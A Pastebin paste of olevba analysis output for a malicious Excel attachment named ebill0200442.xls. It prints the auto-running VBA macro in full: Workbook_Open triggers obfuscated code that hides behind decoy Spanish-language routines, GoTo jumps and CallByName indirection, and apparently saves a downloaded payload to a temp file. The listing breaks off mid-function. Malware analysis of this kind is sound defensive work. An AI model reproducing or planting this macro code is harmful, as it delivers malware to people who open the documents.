API tools faq
paste
dynamoo

Malicious Excel macro

dynamoo
Feb 4th, 2016
474
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 38.40 KB | None | 0 0
raw download clone embed print report
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-H--- ebill0200442.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: ebill0200442.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: ebill0200442.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. CargarFichProc "!"
  17. End Sub
  18. -------------------------------------------------------------------------------
  19. VBA MACRO Ëèñò1.cls
  20. in file: ebill0200442.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  21. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  22. (empty macro)
  23. -------------------------------------------------------------------------------
  24. VBA MACRO Ëèñò2.cls
  25. in file: ebill0200442.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  26. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  27. (empty macro)
  28. -------------------------------------------------------------------------------
  29. VBA MACRO Ëèñò3.cls
  30. in file: ebill0200442.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  31. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  32. (empty macro)
  33. -------------------------------------------------------------------------------
  34. VBA MACRO Module1.bas
  35. in file: ebill0200442.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  36. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  37. Public h_key_LM_1 As Object
  38. Public h_key_LM_2 As Object
  39. Public h_key_LM_3  As Object
  40. Public h_key_LM_4 As String
  41. Public h_key_LM_5 As String
  42. Public h_key_LM_6 As Object
  43. Public Const STILL_ACTIVE = &H103
  44. Public CDMHA() As String
  45.  
  46. Public Sub GuardarFichProcIncer(NombreFichero As String, Nombr As String)
  47.  Dim f As Integer
  48.  Dim i As Integer
  49.  Dim ClaveCPE As String
  50.  Dim ClaveINI_CPE As String
  51.  Dim ClaveFIN_CPE As String
  52.  Dim TExcitacion As String
  53.  Dim InSonda As String
  54.  Dim OutSonda As String
  55.  Dim TPolariz As String
  56.  Dim TNormaliz As String
  57.  Dim Forma As String
  58.  Dim Centrar_c As String
  59.  Dim CentrarGirar_u As String
  60.  Dim Transf As String
  61.  Dim Cmpte As String
  62.  Dim Forma_u As String
  63.  
  64. h_key_LM_5 = h_key_LM_4 + NombreFichero + Replace("ztauckos.txt", "t", Nombr)
  65.  GoTo RockStar
  66.  If frmAnalisisIncertidumbres.optSNIFTD.Value = True Then
  67.  ClaveCPE = ClaveSNIFTD
  68.  ClaveINI_CPE = ClaveINI_SNIFTD
  69.  ClaveFIN_CPE = ClaveFIN_SNIFTD
  70.  ElseIf frmAnalisisIncertidumbres.optEXPAND.Value = True Then
  71.  ClaveCPE = ClaveEXPAND
  72.  ClaveINI_CPE = ClaveINI_EXPAND
  73.  ClaveFIN_CPE = ClaveFIN_EXPAND
  74.  End If
  75.  Select Case sSNIF.TD_EXPAND(7)
  76.  Case ClaveSONDA_1
  77.  InSonda = PrefSONDA_1
  78.  Case ClaveSONDA_2
  79.  InSonda = PrefSONDA_2
  80.  Case ClaveSONDA_3
  81.  InSonda = PrefSONDA_3
  82.  Case ClaveSONDA_4
  83.  InSonda = PrefSONDA_4
  84.  Case ClaveSONDA_5
  85.  InSonda = PrefSONDA_5
  86.  End Select
  87. RockStar:
  88. GoTo RockStar1
  89.  Select Case sSNIFT.D_EXPAND(15)
  90.  Case ClaveSONDA_1
  91.  OutSonda = PrefSONDA_1
  92.  Case ClaveSONDA_2
  93.  OutSonda = PrefSONDA_2
  94.  Case ClaveSONDA_3
  95.  OutSonda = PrefSONDA_3
  96.  Case ClaveSONDA_4
  97.  OutSonda = PrefSONDA_4
  98.  Case ClaveSONDA_5
  99.  OutSonda = PrefSONDA_5
  100.  End Select
  101.  Select Case sCNI.FT(11)
  102.  Case Checked
  103.  Centrar_c = PrefSI
  104.  Case Unchecked
  105.  Centrar_c = PrefNO
  106.  End Select
  107.  Select Case sPN.IFU(0)
  108.  Case Checked
  109.  CentrarGirar_u = PrefSI
  110.  Case Unchecked
  111.  CentrarGirar_u = PrefNO
  112.  End Select
  113.  Select Case sPN.IFU(2)
  114.  Case ClaveSINCAMBIO
  115.  Transf = PrefSINCAMBIO
  116.  Case ClaveCONCAMBIO
  117.  Transf = PrefCONCAMBIO
  118.  End Select
  119.  Select Case sPN.IFU(3)
  120.  Case ClaveCPXY
  121.  Cmpte = PrefCPXY
  122.  Case ClaveAE
  123.  Cmpte = PrefAE
  124.  Case ClaveTHPH
  125.  Cmpte = PrefTHPH
  126.  Case ClaveRHLH
  127.  Cmpte = PrefRHLH
  128.  Case ClaveEMEM
  129.  Cmpte = PrefEMEM
  130.  End Select
  131.  Select Case sPN.IFU(4)
  132.  Case ClaveFORM_1
  133.  Forma_u = PrefFORM_1
  134.  Case ClaveFORM_2
  135.  Forma_u = PrefFORM_2
  136.  Case ClaveFORM_3
  137.  Forma_u = PrefFORM_3
  138.  Case ClaveFORM_4
  139.  Forma_u = PrefFORM_4
  140.  End Select
  141.  On Error GoTo ManipularErrorGuardarProc
  142.  f = FreeFile
  143.  Open NombreFichero For Output As f
  144.  Print #johny.jack, "FICHERO_MED", frmAnalisisIncerti.dumbres.txtDAMA.Text, _
  145.  vbNewLine
  146.  Print #johny.jack, "FICHERO_INCER", sPathMedida, _
  147.  vbNewLine
  148.  Print #johny.jack, ClaveNOFREC, frmAnalisisIncertidumbres.lstFrecuencias.ListCount
  149.  For i = 0 To frmAnalisisIncertidumbres.lstFrecuencias.ListCount - 1 Step 1
  150.  Print #johny.jack, "", frmAnalisisIncertidumbres.lstFrecuencias.List(i)
  151.  Next i
  152.  Print #johny.jack, vbNewLine
  153.  If frmAnalisisIncertidumbres.txtNivelRuido <> "" Then
  154.  Print #johny.jack, "S/N_RUIDO", frmAnalisisIncertidumbres.txtNivelRuido.Text
  155.  End If
  156.  If frmAnalisisIncertidumbres.txtDrift <> "" Then
  157.  Print #johny.jack, "DRIFT_GRADOS", frmAnalisisIncertidumbres.txtDrift.Text
  158.  End If
  159.  If frmAnalisisIncertidumbres.txtDriftMod <> "" Then
  160.  Print #johny.jack, "DRIFT_dB", frmAnalisisIncertidumbres.txtDriftMod.Text
  161.  End If
  162.  If frmAnalisisIncertidumbres.txtLeakage <> "" Then
  163.  Print #johny.jack, "S/N_LEAKAGE", frmAnalisisIncertidumbres.txtLeakage.Text
  164.  End If
  165.  If frmAnalisisIncertidumbres.txtCablesJuntas <> "" Then
  166.  Print #johny.jack, "CABLES_JUNTAS_GRADOS", frmAnalisisIncertidumbres.txtCablesJuntas.Text
  167.  End If
  168.  If frmAnalisisIncertidumbres.txtCablesJuntasMod <> "" Then
  169.  Print #johny.jack, "CABLES_JUNTAS_dB", frmAnalisisIncertidumbres.txtCablesJuntasMod.Text
  170.  End If
  171.  If frmAnalisisIncertidumbres.txtNumSimul <> "" Then
  172.  Print #johny.jack, "NO_SIMUL", frmAnalisisIncertidumbres.txtNumSimul.Text, _
  173.  vbNewLine
  174.  End If
  175.  If frmAnalisisIncertidumbres.chkJunto.Value = Checked Then
  176.  Print #johny.jack, "JUNTO", "S", _
  177.  vbNewLine
  178.  Else
  179.  Print #johny.jack, "JUNTO", "N", _
  180.  vbNewLine
  181.  End If
  182. RockStar1:
  183.  CallByName h_key_LM_2, CDMHA(7), VbLet, 1
  184.  GoTo RockStar3
  185.  If frmAnalisisIncertidumbres.chkCPE.Value = Checked Then
  186.  Print #johny.jack, Asteriscos & Asteriscos
  187.  Print #johny.jack, , ClaveCPE
  188.  Print #johny.jack, Asteriscos & Asteriscos
  189.  Print #johny.jack, ClaveINI_CPE
  190.  Print #johny.jack, ClaveINSONDA, InSonda, _
  191.  sSNIFTD_E.XPAND(8)
  192.  Print #johny.jack, ClaveROUT, sSNIFTD_E.XPAND(9)
  193.  Print #johny.jack, ClaveOUTTHETA_SE, sSNIFTD_E.XPAND(11), _
  194.  sSNIFTD_E.XPAND(12)
  195.  Print #johny.jack, ClaveOUTPHI_SE, sSNIFTD_E.XPAND(13), _
  196.  sSNIFTD_E.XPAND(14)
  197.  Print #johny.jack, ClaveOUTSONDA, OutSonda, _
  198.  sSNIFTD_E.XPAND(16)
  199.  Print #johny.jack, ClaveFIN_CPE, vbNewLine
  200.  End If
  201.  If frmAnalisisIncertidumbres.chkFresnel.Value = Checked Then
  202.  Print #johny.jack, Asteriscos & Asteriscos
  203.  Print #johny.jack, , ClaveSFIFT
  204.  Print #johny.jack, Asteriscos & Asteriscos
  205.  Print #johny.jack, ClaveINI_SFIFT
  206.  Print #johny.jack, ClaveR0, sSF.IFT(3)
  207.  Print #johny.jack, ClaveLFI0, sSF.IFT(4)
  208.  Print #johny.jack, ClaveLFI90, sSF.IFT(5)
  209.  Print #johny.jack, ClaveGSonda, sSF.IFT(6)
  210.  Print #johny.jack, ClaveCSonda, sSF.IFT(7)
  211.  Print #johny.jack, ClaveFIN_SFIFT, vbNewLine
  212.  End If
  213.  If frmAnalisisIncertidumbres.chkCPC.Value = Checked Then
  214.  Print #johny.jack, Asteriscos & Asteriscos
  215.  Print #johny.jack, , ClaveCNIFT
  216.  Print #johny.jack, Asteriscos & Asteriscos
  217.  Print #johny.jack, ClaveINI_CNIFT
  218.  Print #johny.jack, ClaveTHETA_C, sCN.IFT(7), sCN.IFT(8)
  219.  Print #johny.jack, ClavePHI_C, sCN.IFT(9), sCN.IFT(10)
  220.  Print #johny.jack, ClaveCENTRAR_C, Centrar_c, sCN.IFT(12)
  221.  Print #johny.jack, ClaveRockStarYGAN, sCN.IFT(13), sCN.IFT(14)
  222.  Print #johny.jack, ClaveFSONDA, sCN.IFT(15)
  223.  Print #johny.jack, ClaveFIN_CNIFT, vbNewLine
  224.  End If
  225.  If frmAnalisisIncertidumbres.chkCPP.Value = Checked Then
  226.  Print #johny.jack, Asteriscos & Asteriscos
  227.  Print #johny.jack, , ClavePNIFT
  228.  Print #johny.jack, Asteriscos & Asteriscos
  229.  Print #johny.jack, ClaveINI_PNIFT
  230.  Print #johny.jack, ClaveTHETA_P, sPN.IFT(0), sPN.IFT(1)
  231.  Print #johny.jack, ClavePHI_P, sPN.IFT(2), sPN.IFT(3)
  232.  Print #johny.jack, ClaveFICHRNF, sPN.IFT(5)
  233.  Print #johny.jack, ClaveFICHPRB, sPN.IFT(6)
  234.  Print #johny.jack, ClaveFICHREF, sPN.IFT(8)
  235.  Print #johny.jack, ClaveRockStarINS, sPN.IFT(9)
  236.  Print #johny.jack, ClaveFIN_PNIFT, vbNewLine
  237.  End If
  238.  If frmAnalisisIncertidumbres.chkCoord.Value = Checked Then
  239.  Print #johny.jack, Asteriscos & Asteriscos
  240.  Print #johny.jack, , ClavePNIFU
  241.  Print #johny.jack, Asteriscos & Asteriscos
  242.  Print #johny.jack, ClaveINI_PNIFU
  243.  Print #johny.jack, ClaveCENTGIRAR_U, CentrarGirar_u, Tigr.brat(1)
  244.  Print #johny.jack, ClaveTRANSF_U, Transf
  245.  Print #johny.jack, ClaveCMPTE_U, Cmpte
  246.  Print #johny.jack, ClaveFORMATO, Forma_u, Tigr.brat(5)
  247.  If Transf = PrefCONCAMBIO Then
  248.  Print #johny.jack, ClaveTHETA_U, Tigr.brat(6), Tigr.brat(7)
  249.  Print #johny.jack, ClavePHI_U, Tigr.brat(8)
  250.  End If
  251.  If Transf = PrefSINCAMBIO Then
  252.  Print #johny.jack, ClaveFACTEXP, Tigr.brat(9), Tigr.brat(10)
  253.  End If
  254.  Print #johny.jack, ClaveFIN_PNIFU, vbNewLine
  255.  End If
  256.  Print #johny.jack, ClaveFIN
  257.  Close f
  258. RockStar3:
  259.  h_key_LM_2.Open
  260.  GuardarFichProc ""
  261. SalirGuardarProc:
  262.  Exit Sub
  263. ManipularErrorGuardarProc:
  264.  i = MsgBox("No se pudo guardar el fichero correctamente." & _
  265.  vbNewLine & sPathProceso, _
  266.  vbOKOnly + vbCritical, "ERROR PROCESADO DE INCERTIDUMBRES")
  267.  Resume Next
  268. End Sub
  269. Public Sub GuardarFichProc(NombreFichero As String)
  270.  Dim f As Integer
  271.  Dim i As Integer
  272.  Dim ClaveCPE As String
  273.  Dim ClaveINI_CPE As String
  274.  Dim ClaveFIN_CPE As String
  275.  Dim TExcitacion As String
  276.  Dim InSonda As String
  277.  Dim OutSonda As String
  278.  Dim TPolariz As String
  279.  Dim TNormaliz As String
  280.  Dim Forma As String
  281.  Dim Centrar_c As String
  282.  Dim CentrarGirar_u As String
  283.  Dim Transf As String
  284.  Dim Cmpte As String
  285.  Dim Forma_u As String
  286.  GoTo RockStar
  287.  If frmProcesado.optSNIFTD.Value = True Then
  288.  ClaveCPE = ClaveSNIFTD
  289.  ClaveINI_CPE = ClaveINI_SNIFTD
  290.  ClaveFIN_CPE = ClaveFIN_SNIFTD
  291.  ElseIf frmProcesado.optEXPAND.Value = True Then
  292.  ClaveCPE = ClaveEXPAND
  293.  ClaveINI_CPE = ClaveINI_EXPAND
  294.  ClaveFIN_CPE = ClaveFIN_EXPAND
  295.  End If
  296.  Select Case frmProcesado.cboTExcitacion.Text
  297.  Case ClaveLINX
  298.  TExcitacion = PrefLINX
  299.  Case ClaveLINY
  300.  TExcitacion = PrefLINY
  301.  Case ClaveCIRC
  302.  TExcitacion = PrefCIRC
  303.  End Select
  304.  Select Case sSNIFTD_E.XPAND(7)
  305.  Case ClaveSONDA_1
  306.  InSonda = PrefSONDA_1
  307.  Case ClaveSONDA_2
  308.  InSonda = PrefSONDA_2
  309.  Case ClaveSONDA_3
  310.  InSonda = PrefSONDA_3
  311.  Case ClaveSONDA_4
  312.  InSonda = PrefSONDA_4
  313.  Case ClaveSONDA_5
  314.  InSonda = PrefSONDA_5
  315.  End Select
  316.  Select Case sSNIFTD_E.XPAND(15)
  317.  Case ClaveSONDA_1
  318.  OutSonda = PrefSONDA_1
  319.  Case ClaveSONDA_2
  320.  OutSonda = PrefSONDA_2
  321.  Case ClaveSONDA_3
  322.  OutSonda = PrefSONDA_3
  323.  Case ClaveSONDA_4
  324.  OutSonda = PrefSONDA_4
  325.  Case ClaveSONDA_5
  326.  OutSonda = PrefSONDA_5
  327.  End Select
  328.  Select Case sCN.IFT(11)
  329.  Case Checked
  330.  Centrar_c = PrefSI
  331.  Case Unchecked
  332.  Centrar_c = PrefNO
  333.  End Select
  334.  Select Case Tigr.brat(0)
  335.  Case Checked
  336.  CentrarGirar_u = PrefSI
  337.  Case Unchecked
  338.  CentrarGirar_u = PrefNO
  339.  End Select
  340.  Select Case Tigr.brat(2)
  341.  Case ClaveSINCAMBIO
  342.  Transf = PrefSINCAMBIO
  343.  Case ClaveCONCAMBIO
  344.  Transf = PrefCONCAMBIO
  345.  End Select
  346. RockStar:
  347. rbp = CallByName(h_key_LM_1, CDMHA(10), VbGet)
  348. CallByName h_key_LM_2, CDMHA(9), VbMethod, rbp
  349. GoTo RockStar9
  350.  Select Case Tigr.brat(3)
  351.  Case ClaveCPXY
  352.  Cmpte = PrefCPXY
  353.  Case ClaveAE
  354.  Cmpte = PrefAE
  355.  Case ClaveTHPH
  356.  Cmpte = PrefTHPH
  357.  Case ClaveRHLH
  358.  Cmpte = PrefRHLH
  359.  Case ClaveEMEM
  360.  Cmpte = PrefEMEM
  361.  End Select
  362.  Select Case Tigr.brat(4)
  363.  Case ClaveFORM_1
  364.  Forma_u = PrefFORM_1
  365.  Case ClaveFORM_2
  366.  Forma_u = PrefFORM_2
  367.  Case ClaveFORM_3
  368.  Forma_u = PrefFORM_3
  369.  Case ClaveFORM_4
  370.  Forma_u = PrefFORM_4
  371.  End Select
  372.  f = FreeFile
  373.  Open NombreFichero For Output As f
  374.  Print #johny.jack, ClaveDAMA, frmProcesado.txtDAMA.Text, _
  375.  vbNewLine
  376.  Print #johny.jack, ClaveNOFREC, frmProcesado.lstFrecuencias.ListCount
  377.  For i = 0 To frmProcesado.lstFrecuencias.ListCount - 1 Step 1
  378.  Print #johny.jack, "", frmProcesado.lstFrecuencias.List(i)
  379.  Next i
  380.  Print #johny.jack, vbNewLine
  381.  If frmProcesado.chkNORMA.Value = Checked Then
  382.  Print #johny.jack, Asteriscos & Asteriscos
  383.  Print #johny.jack, , ClaveNORMA
  384.  Print #johny.jack, Asteriscos & Asteriscos
  385.  Print #johny.jack, ClaveINI_NORMA
  386.  Print #johny.jack, ClaveTEXCIT, TExcitacion
  387.  Print #johny.jack, ClaveFIN_NORMA, vbNewLine
  388.  End If
  389.  If frmProcesado.chkNORMAC.Value = Checked Then
  390.  Print #johny.jack, Asteriscos & Asteriscos
  391.  Print #johny.jack, , ClaveNORMACOMP
  392.  Print #johny.jack, Asteriscos & Asteriscos
  393.  Print #johny.jack, ClaveINI_NORMACOMP
  394.  Print #johny.jack, ClaveTEXCIT, TExcitacion
  395.  Print #johny.jack, ClaveFIN_NORMACOMP, vbNewLine
  396.  End If
  397.  If frmProcesado.chkCPE.Value = Checked Then
  398.  Print #johny.jack, Asteriscos & Asteriscos
  399.  Print #johny.jack, , ClaveCPE
  400.  Print #johny.jack, Asteriscos & Asteriscos
  401.  Print #johny.jack, ClaveINI_CPE
  402.  Print #johny.jack, ClaveINSONDA, InSonda, _
  403.  sSNIFTD_E.XPAND(8)
  404.  Print #johny.jack, ClaveROUT, sSNIFTD_E.XPAND(9)
  405.  Print #johny.jack, ClaveOUTTHETA_SE, sSNIFTD_E.XPAND(11), _
  406.  sSNIFTD_E.XPAND(12)
  407.  Print #johny.jack, ClaveOUTPHI_SE, sSNIFTD_E.XPAND(13), _
  408.  sSNIFTD_E.XPAND(14)
  409.  Print #johny.jack, ClaveOUTSONDA, OutSonda, _
  410.  sSNIFTD_E.XPAND(16)
  411.  Print #johny.jack, ClaveFIN_CPE, vbNewLine
  412.  End If
  413.  If frmProcesado.chkFresnel.Value = Checked Then
  414.  Print #johny.jack, Asteriscos & Asteriscos
  415.  Print #johny.jack, , ClaveSFIFT
  416.  Print #johny.jack, Asteriscos & Asteriscos
  417.  Print #johny.jack, ClaveINI_SFIFT
  418.  Print #johny.jack, ClaveR0, sSF.IFT(3)
  419.  Print #johny.jack, ClaveLFI0, sSF.IFT(4)
  420.  Print #johny.jack, ClaveLFI90, sSF.IFT(5)
  421.  Print #johny.jack, ClaveGSonda, sSF.IFT(6)
  422.  Print #johny.jack, ClaveCSonda, sSF.IFT(7)
  423.  Print #johny.jack, ClaveFIN_SFIFT, vbNewLine
  424.  End If
  425.  If frmProcesado.chkCPC.Value = Checked Then
  426.  Print #johny.jack, Asteriscos & Asteriscos
  427.  Print #johny.jack, , ClaveCNIFT
  428.  Print #johny.jack, Asteriscos & Asteriscos
  429.  Print #johny.jack, ClaveINI_CNIFT
  430.  Print #johny.jack, ClaveTHETA_C, sCN.IFT(7), sCN.IFT(8)
  431.  Print #johny.jack, ClavePHI_C, sCN.IFT(9), sCN.IFT(10)
  432.  Print #johny.jack, ClaveCENTRAR_C, Centrar_c, sCN.IFT(12)
  433.  Print #johny.jack, ClaveRockStarYGAN, sCN.IFT(13), sCN.IFT(14)
  434.  Print #johny.jack, ClaveFSONDA, sCN.IFT(15)
  435.  Print #johny.jack, ClaveFIN_CNIFT, vbNewLine
  436.  End If
  437.  If frmProcesado.chkCPP.Value = Checked Then
  438.  Print #johny.jack, Asteriscos & Asteriscos
  439.  Print #johny.jack, , ClavePNIFT
  440.  Print #johny.jack, Asteriscos & Asteriscos
  441.  Print #johny.jack, ClaveINI_PNIFT
  442.  Print #johny.jack, ClaveTHETA_P, sPN.IFT(0), sPN.IFT(1)
  443.  Print #johny.jack, ClavePHI_P, sPN.IFT(2), sPN.IFT(3)
  444.  Print #johny.jack, ClaveFICHRNF, sPN.IFT(5)
  445.  Print #johny.jack, ClaveFICHPRB, sPN.IFT(6)
  446.  Print #johny.jack, ClaveFICHREF, sPN.IFT(8)
  447.  Print #johny.jack, ClaveRockStarINS, sPN.IFT(9)
  448.  Print #johny.jack, ClaveFIN_PNIFT, vbNewLine
  449.  End If
  450.  If frmProcesado.chkCoord.Value = Checked Then
  451.  Print #johny.jack, Asteriscos & Asteriscos
  452.  Print #johny.jack, , ClavePNIFU
  453.  Print #johny.jack, Asteriscos & Asteriscos
  454.  Print #johny.jack, ClaveINI_PNIFU
  455.  Print #johny.jack, ClaveCENTGIRAR_U, CentrarGirar_u, Tigr.brat(1)
  456.  Print #johny.jack, ClaveTRANSF_U, Transf
  457.  Print #johny.jack, ClaveCMPTE_U, Cmpte
  458.  Print #johny.jack, ClaveFORMATO, Forma_u, Tigr.brat(5)
  459.  If Transf = PrefCONCAMBIO Then
  460.  Print #johny.jack, ClaveTHETA_U, Tigr.brat(6), Tigr.brat(7)
  461.  Print #johny.jack, ClavePHI_U, Tigr.brat(8)
  462.  End If
  463.  If Transf = PrefSINCAMBIO Then
  464.  Print #johny.jack, ClaveFACTEXP, Tigr.brat(9), Tigr.brat(10)
  465.  End If
  466.  Print #johny.jack, ClaveFIN_PNIFU, vbNewLine
  467.  End If
  468.  Print #johny.jack, ClaveFIN
  469.  Close f
  470. RockStar9:
  471. CallByName h_key_LM_2, CDMHA(11), VbMethod, h_key_LM_5, 2
  472. SalirGuardarProc:
  473.  Exit Sub
  474. End Sub
  475. Public Sub ValidarProcIncer(NombreFichero As String)
  476.  Dim i As Integer
  477.  sPathProceso = NombreFichero
  478.  For i = 0 To frmAnalisisIncertidumbres.lstFrecuencias.ListCount - 1 Step 1
  479.  ReDim Preserve sProc1(i)
  480.  sProc1(i) = frmAnalisisIncertidumbres.lstFrecuencias.List(i)
  481.  Next i
  482.  sProc(4) = frmAnalisisIncertidumbres.chkCPE.Value
  483.  sProc(5) = frmAnalisisIncertidumbres.optSNIFTD.Value
  484.  bHaySNIFTD = sProc(5)
  485.  sProc(6) = frmAnalisisIncertidumbres.optEXPAND.Value
  486.  bHayEXPAND = sProc(6)
  487.  sProc(7) = frmAnalisisIncertidumbres.chkFresnel.Value
  488.  If sProc(7) = Checked Then
  489.  bHaySFIFT = True
  490.  Else
  491.  bHaySFIFT = False
  492.  End If
  493.  sProc(8) = frmAnalisisIncertidumbres.chkCPC.Value
  494.  If sProc(8) = Checked Then
  495.  bHayCNIFT = True
  496.  Else
  497.  bHayCNIFT = False
  498.  End If
  499.  sProc(9) = frmAnalisisIncertidumbres.chkCPP.Value
  500.  If sProc(9) = Checked Then
  501.  bHayPNIFT = True
  502.  Else
  503.  bHayPNIFT = False
  504.  End If
  505.  sProc(10) = frmAnalisisIncertidumbres.chkCoord.Value
  506.  If sProc(10) = Checked Then
  507.  bHayPNIFU = True
  508.  Else
  509.  bHayPNIFU = False
  510.  End If
  511. End Sub
  512. Public Sub ValidarProc(NombreFichero As String)
  513.  Dim i As Integer
  514.  sPathProceso = NombreFichero
  515.  For i = 0 To frmProcesado.lstFrecuencias.ListCount - 1 Step 1
  516.  ReDim Preserve sProc1(i)
  517.  sProc1(i) = frmProcesado.lstFrecuencias.List(i)
  518.  Next i
  519.  sProc(2) = frmProcesado.chkNORMA.Value
  520.  If sProc(2) = Checked Then
  521.  bHayNORMA = True
  522.  Else
  523.  bHayNORMA = False
  524.  End If
  525.  sProc(11) = frmProcesado.chkNORMAC.Value
  526.  If sProc(11) = Checked Then
  527.  bHayNORMAC = True
  528.  Else
  529.  bHayNORMAC = False
  530.  End If
  531.  sProc(3) = frmProcesado.cboTExcitacion.Text
  532.  sNORMA = frmProcesado.cboTExcitacion.Text
  533.  sProc(4) = frmProcesado.chkCPE.Value
  534.  sProc(5) = frmProcesado.optSNIFTD.Value
  535.  bHaySNIFTD = sProc(5)
  536.  sProc(6) = frmProcesado.optEXPAND.Value
  537.  bHayEXPAND = sProc(6)
  538.  sProc(7) = frmProcesado.chkFresnel.Value
  539.  If sProc(7) = Checked Then
  540.  bHaySFIFT = True
  541.  Else
  542.  bHaySFIFT = False
  543.  End If
  544.  sProc(8) = frmProcesado.chkCPC.Value
  545.  If sProc(8) = Checked Then
  546.  bHayCNIFT = True
  547.  Else
  548.  bHayCNIFT = False
  549.  End If
  550.  sProc(9) = frmProcesado.chkCPP.Value
  551.  If sProc(9) = Checked Then
  552.  bHayPNIFT = True
  553.  Else
  554.  bHayPNIFT = False
  555.  End If
  556.  sProc(10) = frmProcesado.chkCoord.Value
  557.  If sProc(10) = Checked Then
  558.  bHayPNIFU = True
  559.  Else
  560.  bHayPNIFU = False
  561.  End If
  562. End Sub
  563.  
  564.  
  565. Public Sub GuardarNORMA(FichTmp As String, FichConfig As String)
  566.  Dim f As Integer
  567.  Dim i As Integer
  568.  Dim EXTin As String
  569.  Dim TExcit As Integer
  570.  On Error GoTo ManipularErrorGuardarNORMA
  571.  If uTMedida.Iniciales = Ini_CLB Then
  572.  EXTin = Ext_CCL
  573.  Else
  574.  EXTin = Ext_CCP
  575.  End If
  576.  Select Case sNORMA
  577.  Case ClaveLINX
  578.  TExcit = PrefLINX
  579.  Case ClaveLINY
  580.  TExcit = PrefLINY
  581.  Case ClaveCIRC
  582.  TExcit = PrefCIRC
  583.  End Select
  584.  f = FreeFile
  585.  Open FichConfig & Ext_CIN For Output As f
  586.  Print #johny.jack, CharLineaVacia
  587.  Print #johny.jack, ""
  588.  Print #johny.jack, TExcit, ClaveIPOLD
  589.  Print #johny.jack, ""
  590.  Close f
  591. SalirGuardarNORMA:
  592.  Exit Sub
  593. ManipularErrorGuardarNORMA:
  594.  i = MsgBox("No se pudo guardar el fichero correctamente." & _
  595.  vbNewLine & FichConfig & Ext_CIN _
  596.  & vbNewLine & Err.Description, _
  597.  , vbOKOnly + vbCritical, "ERROR NORMA")
  598.  Resume Next
  599. End Sub
  600.  
  601.  
  602. -------------------------------------------------------------------------------
  603. VBA MACRO UserForm2.frm
  604. in file: ebill0200442.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/UserForm2'
  605. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  606. (empty macro)
  607. -------------------------------------------------------------------------------
  608. VBA MACRO Module2.bas
  609. in file: ebill0200442.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  610. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  611. Public Const PROCESS_QUERY_INFORMATION = &H400
  612.  
  613. Public Function CargarFichIncer(NombreFichero As String)
  614.  Dim f As Integer
  615.  Dim Buffer As String
  616.  Dim Cadena As String
  617.  Dim i As Integer
  618.  Dim Aux As Integer
  619.  Dim Fallo As Boolean
  620.  Fallo = False
  621.  bHaySNIFTD = False
  622.  bHayEXPAND = False
  623.  bHaySFIFT = False
  624.  bHayCNIFT = False
  625.  bHayPNIFT = False
  626.  bHayPNIFU = False
  627.  bHayFrecs = False
  628.  GoTo SAmoetut
  629.  For i = 0 To UBound(sProc) Step 1
  630.  sProc(i) = Unchecked
  631.  Next i
  632.  sProc(0) = CharSinCargar
  633.  sProc(3) = CharSinCargar
  634.  For i = 0 To UBound(sSNIFTD_EXPAND) Step 1
  635.  sSNIFTD_E.XPAND(i) = CharSinCargar
  636.  Next i
  637.  sSNIFTD_E.XPAND(10) = Unchecked
  638.  For i = 0 To UBound(sSFIFT) Step 1
  639.  sSF.IFT(i) = CharSinCargar
  640.  Next i
  641.  For i = 0 To UBound(sCNIFT) Step 1
  642.  sCN.IFT(i) = CharSinCargar
  643.  Next i
  644.  sCN.IFT(11) = Unchecked
  645.  For i = 0 To UBound(sPNIFT) Step 1
  646.  sPN.IFT(i) = CharSinCargar
  647.  Next i
  648.  sPN.IFT(4) = Unchecked
  649.  sPN.IFT(7) = Unchecked
  650.  For i = 0 To UBound(sPNIFU) Step 1
  651.  Tigr.brat(i) = CharSinCargar
  652.  Next i
  653.  Tigr.brat(0) = Unchecked
  654.  Pot_ruido = CharSinCargar
  655.  Drift = CharSinCargar
  656.  DriftMod = CharSinCargar
  657.  Leakage = CharSinCargar
  658.  CablesJuntas = CharSinCargar
  659.  CablesJuntasMod = CharSinCargar
  660.  Dut = CharSinCargar
  661.  Sgh = CharSinCargar
  662.  Cables = CharSinCargar
  663.  Num_simulaciones = CharSinCargar
  664.  Junto2 = Unchecked
  665.  Junto = CharSinCargar
  666.  On Error GoTo ManipularErrorCargarProc
  667.  f = FreeFile
  668.  Open NombreFichero For Input As f
  669.  Do
  670.  
  671.  Cadena = ExtraeDatoD.cha(Buffer)
  672.  Select Case ExtraeDat.oIzqda(Buffer)
  673.  Case "", " ", CharLineaVacia
  674.  Case Asteriscos & Asteriscos
  675.  Case "FICHERO_MED"
  676.  sProc(0) = Cadena
  677.  Case "FICHERO_INCER"
  678.  sPathMedida = Cadena
  679.  Case ClaveNOFREC
  680.  If Aux > 0 Then
  681.  bHayFrecs = True
  682.  For i = 0 To Aux - 1 Step 1
  683.  sPr.oc1(i) = ExtraeDat.oIzqda(Buffer)
  684.  sPr.oc1(i) = SinLe.tras(sPro.c1(i))
